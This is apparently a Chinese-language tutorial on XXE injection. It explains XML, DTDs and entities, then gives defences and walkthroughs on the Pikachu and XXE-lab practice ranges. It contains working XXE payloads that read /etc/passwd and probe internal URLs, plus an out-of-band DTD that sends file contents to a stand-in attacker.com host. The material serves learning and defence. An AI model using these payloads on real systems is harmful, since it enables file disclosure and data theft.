一、XML 基礎結構
XML(Extensible Markup Language)是一種 用於存儲和傳輸數據的標記語言。
示例
<?xml version="1.0" encoding="UTF-8"?>
<user>
<name>Alice</name>
<age>20</age>
</user>
組成:
| 部分 | 作用 |
|---|---|
<?xml ...?> |
聲明 |
<user> |
根節點 |
<name> |
元素 |
Alice |
數據 |
XML特點:
- 必須有 一個根節點
- 標籤 必須閉合
- 區分大小寫
二、DTD(Document Type Definition)
XXE漏洞的核心幾乎都和 DTD 有關。
DTD 用來 定義 XML 的結構和規則。
示例
<!DOCTYPE user [
<!ELEMENT user (name, age)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
]>
解析:
| 語句 | 含義 |
|---|---|
<!DOCTYPE user> |
聲明DTD |
<!ELEMENT> |
定義元素 |
#PCDATA |
文本數據 |
DTD可以 內聯 或 外部引用。
三、實體(Entity)
實體是 DTD中最關鍵的部分,也是XXE漏洞利用的核心。
實體類似 變量替換。
內部實體
<!DOCTYPE user [
<!ENTITY name "Alice">
]>
<user>
<name>&name;</name>
</user>
解析後:
Alice
四、外部實體(External Entity)
外部實體可以引用 本地文件 / URL。
這就是 XXE漏洞的來源。
示例
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
&xxe;
</data>
如果解析器允許外部實體,就會讀取:
/etc/passwd
然後返回內容。
五、XXE漏洞原理
XXE(XML External Entity Injection)
本質:
XML解析器解析外部實體 → 攻擊者控制實體 → 讀取服務器資源
典型流程:
- 應用接收 XML
- XML解析器解析DTD
- 外部實體被加載
- 服務器文件被讀取
六、最常見的XXE攻擊方式
1 讀取服務器文件
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>
&xxe;
</foo>
2 SSRF(訪問內網)
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">
]>
<foo>
&xxe;
</foo>
服務器會訪問:
http://127.0.0.1:8080/admin
3 OOB XXE(帶外攻擊)
當數據無法直接回顯時:
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">
%xxe;
]>
服務器會去請求攻擊者服務器。
4 讀取文件並外帶
攻擊者服務器:
http://attacker.com
DTD:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;
七、容易出現XXE漏洞的場景
常見解析器:
| 語言 | 庫 |
|---|---|
| Java | DOM4J / SAX / JAXP |
| Python | lxml |
| PHP | SimpleXML |
| .NET | XmlDocument |
常見接口:
- SOAP
- SAML
- XML API
- 文件上傳
八、防禦XXE漏洞
核心原則:
1 禁用外部實體
Java示例:
factory.setFeature(
"http://apache.org/xml/features/disallow-doctype-decl", true);
2 禁用外部DTD
external-general-entities = false
external-parameter-entities = false
3 使用安全解析庫
例如:
Python
from defusedxml import ElementTree
九、一個完整XXE payload示例
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
&xxe;
</root>
如果存在漏洞:
服務器返回:
root:x:0:0:root:/root:/bin/bash
靶場練習
Pikachu
-
輸入如下xml代碼:
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY file "hello"> ]> <root> <file>&file;</file> </root>輸出結果如下:
沒有輸出,應該是blind xxe. -
檢查xml是否支持外部實體訪問網絡:
- 打開網站
dnslog.cn,點擊Get SubDomain,生成一個子域名
- 構造xml代碼如下:
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY url SYSTEM "http://6v3qrd.dnslog.cn"> ]> <root> <file>&url;</file> </root> - 輸入到pikachu靶場,再去
dnslog.cn點擊Refresh Record,顯示如下:
可以看到,有訪問記錄,證明有xxe漏洞。
- 打開網站
XXE-lab
-
打開網頁,顯示如下:
在目前網頁的每個input中輸入不一樣的值. -
開啓Burp Suite抓包,得到的數據包如下:
POST /process.php HTTP/1.1 Host: 192.168.103.130:9040 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://192.168.103.130:9040/ Content-Type: text/plain;charset=UTF-8 Content-Length: 119 Origin: http://192.168.103.130:9040 Connection: keep-alive Cookie: PHPSESSID=n6gsq7gftgi07j42hrfqta9v46; security=low Priority: u=0 <?xml version="1.0" encoding="UTF-8"?> <root> <name>11</name> <tel>22</tel> <email>33</email> <password>44</password> </root>可以清楚的發現使用了xml來傳輸數據
-
直接修改http數據包
POST /process.php HTTP/1.1 Host: 192.168.103.130:9040 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://192.168.103.130:9040/ Content-Type: text/plain;charset=UTF-8 Content-Length: 119 Origin: http://192.168.103.130:9040 Connection: keep-alive Cookie: PHPSESSID=n6gsq7gftgi07j42hrfqta9v46; security=low Priority: u=0 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY air "hello"> ]> <root> <name>11</name> <tel>22</tel> <email>&air;</email> <password>44</password> </root> -
response顯示如下:
下面的紅色字體顯示出應該存在xxe漏洞。 -
讀取文件:將http數據包修改為如下
POST /process.php HTTP/1.1 Host: 192.168.103.130:9040 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://192.168.103.130:9040/ Content-Type: text/plain;charset=UTF-8 Content-Length: 119 Origin: http://192.168.103.130:9040 Connection: keep-alive Cookie: PHPSESSID=n6gsq7gftgi07j42hrfqta9v46; security=low Priority: u=0 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY air SYSTEM "file:///etc/passwd"> ]> <root> <name>11</name> <tel>22</tel> <email>&air;</email> <password>44</password> </root>紅色字體已顯示:
硬件及軟件説明:
I.硬件(電腦)
Apple Mac mini M4 (24G)
II.軟件(vmware虛擬機)
ubuntu作為靶機- IP:
192.168.103.130 - arm64
- Ubuntu 24.04.3 LTS
- IP:
kali作為攻擊機- IP:
192.168.103.128 - arm64
- Kali GNU/Linux Rolling
- 瀏覽器:Firefox
- IP:
pikachu靶場安裝
ubuntu中安裝docker靶場:homins/pikachu:latest
# 拉取docker鏡像
sudo docker pull hominsu/pikachu
# 為鏡像創建容器,並運行
sudo docker run -dt --name pikachu -p 8082:80 hominsu/pikachu # pikachu 端口設為 8082
xxelab靶場安裝
-
下載github庫:
git clone https://github.com/jbarone/xxelab.git -
構建xxelab鏡像:
sudo docker build -t xxelab . -
創建運行容器:
sudo docker run -dt --name xxelab -p 9040:80 xxelab # xxe 端口設為 9040
📌 不一定對,如有錯誤,歡迎指出🙂。